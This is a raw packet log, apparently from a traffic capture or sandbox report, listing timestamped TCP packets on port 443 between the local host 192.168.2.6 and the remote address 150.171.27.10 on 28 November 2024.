Nov 28, 2024 02:27:23.086293936 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.086293936 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.101699114 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.101727962 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.101773024 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.101782084 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.101819992 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.101835012 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.102999926 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.103039026 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.103127956 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.103137970 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.103178024 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.120656013 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.120675087 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.120724916 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.120744944 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.120774031 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.120795012 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121440887 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121459961 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121504068 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121510983 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121545076 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121558905 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121705055 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121721983 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121757030 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121767044 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.121781111 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.121803999 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.128130913 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.128156900 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.128221989 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.128230095 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.128262997 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.128271103 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.152116060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.152193069 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.152204037 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.152271032 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.153884888 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.153907061 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.153948069 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.153960943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.154001951 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.154062033 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.156807899 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.156833887 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.156919956 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.156940937 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.157012939 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.173641920 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.173706055 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.173719883 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.173760891 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.190964937 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.191054106 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.191062927 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.191169977 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.193030119 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.193049908 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.193156958 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.193182945 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.193265915 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.212148905 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.212217093 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.212228060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.212287903 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.223390102 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.223459005 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.223469019 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.223526001 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.232460022 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.232527018 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.232537031 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.232605934 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.244353056 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.244447947 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.244461060 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.244507074 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.252477884 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.252509117 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.252576113 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.252587080 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.252621889 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.252644062 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.253298998 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.253379107 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.253386021 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.257184982 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.257550001 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.257575989 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.257671118 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.257692099 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.257704973 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.261184931 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.269591093 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.269635916 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.269676924 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.269682884 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.269726038 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.270163059 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.270210028 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.270237923 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.270267963 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.270292997 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.270617962 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.288921118 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.288940907 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.288997889 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.289006948 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.289046049 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.292447090 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.292465925 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.292514086 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.292534113 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.292546034 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.292572021 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295254946 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295279980 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295355082 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295377016 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295403957 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295706987 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295728922 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295779943 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295787096 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.295788050 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295803070 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.295835972 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.306365967 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.306408882 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.306431055 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.306440115 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.306474924 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.306516886 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.307893038 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.307913065 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.307960033 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.307967901 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.307995081 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.308028936 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317051888 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317073107 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317112923 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317121983 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317148924 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317182064 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317475080 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317492962 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317543030 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317550898 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.317564964 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.317589045 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.322554111 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.322571039 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.322643042 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.322650909 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.322690964 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.324538946 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.324556112 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.324608088 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.324616909 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.324690104 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.335129023 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.335145950 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.335195065 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.335202932 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.335223913 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.335247993 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.337158918 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.337177038 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.337220907 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.337227106 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.337285995 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.337285995 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.338907003 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.338923931 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.338980913 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.338992119 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.339040041 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.344528913 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.344595909 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.344603062 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.344654083 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.348659992 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.348676920 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.348733902 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.348742962 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.348836899 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.353104115 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.353120089 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.353174925 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.353185892 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.353208065 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.353228092 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.353584051 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.353642941 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.353650093 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.353696108 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.359848976 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.359869003 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.359919071 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.359927893 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.359954119 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.359975100 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.365073919 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.365142107 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.365149021 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.365333080 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.368459940 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.368477106 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.368534088 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.368545055 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.368587017 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.372869015 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.372886896 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.372940063 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.372947931 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.372976065 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.372997046 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.373624086 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.373688936 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.373698950 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.373778105 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.381020069 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.381084919 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.381094933 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.381148100 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.384737015 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.384759903 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.384800911 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.384813070 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.384840012 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.384857893 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.390407085 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.390490055 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.390496969 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.390678883 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.397708893 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.397772074 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.397778034 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.397830963 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.404162884 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.404232025 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.404239893 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.404305935 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.410806894 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.410871983 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.410877943 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.410918951 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.416923046 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.416980982 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.416987896 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.417028904 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.421894073 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.421955109 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.421962976 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.422032118 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.427170992 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.427259922 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.427265882 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.427328110 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.433851004 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.433912992 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.433919907 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.433974028 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.448282957 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.448306084 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.448379993 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.448388100 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.448436975 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.456691980 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.456722975 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.456764936 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.456778049 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.456794024 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.456811905 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.460021019 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.460063934 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.460092068 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.460108995 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.460134029 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.460151911 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.461263895 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.461282969 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.461337090 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.461344957 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.461396933 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.469528913 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.469547033 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.469589949 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.469616890 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.469633102 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.469657898 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.475799084 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.475812912 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.475877047 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.475888968 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.475928068 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.477161884 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.477180958 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.477221012 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.477227926 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.477253914 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.477277040 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.481101990 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.481117964 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.481195927 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.481206894 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.481235027 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.481249094 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.490037918 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490056992 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490118027 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.490127087 CET	443	49741	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490173101 CET	49741	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.490679026 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490695953 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490731955 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.490740061 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.490775108 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.490797997 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.493983030 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.494043112 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.494057894 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.494064093 CET	443	49749	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.494090080 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.494106054 CET	49749	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.500571012 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.500586987 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.500633001 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.500642061 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.500674009 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.500699997 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.501883984 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.501909018 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:23.501965046 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:23.501975060 CET	443	49742	150.171.27.10	192.168.2.6
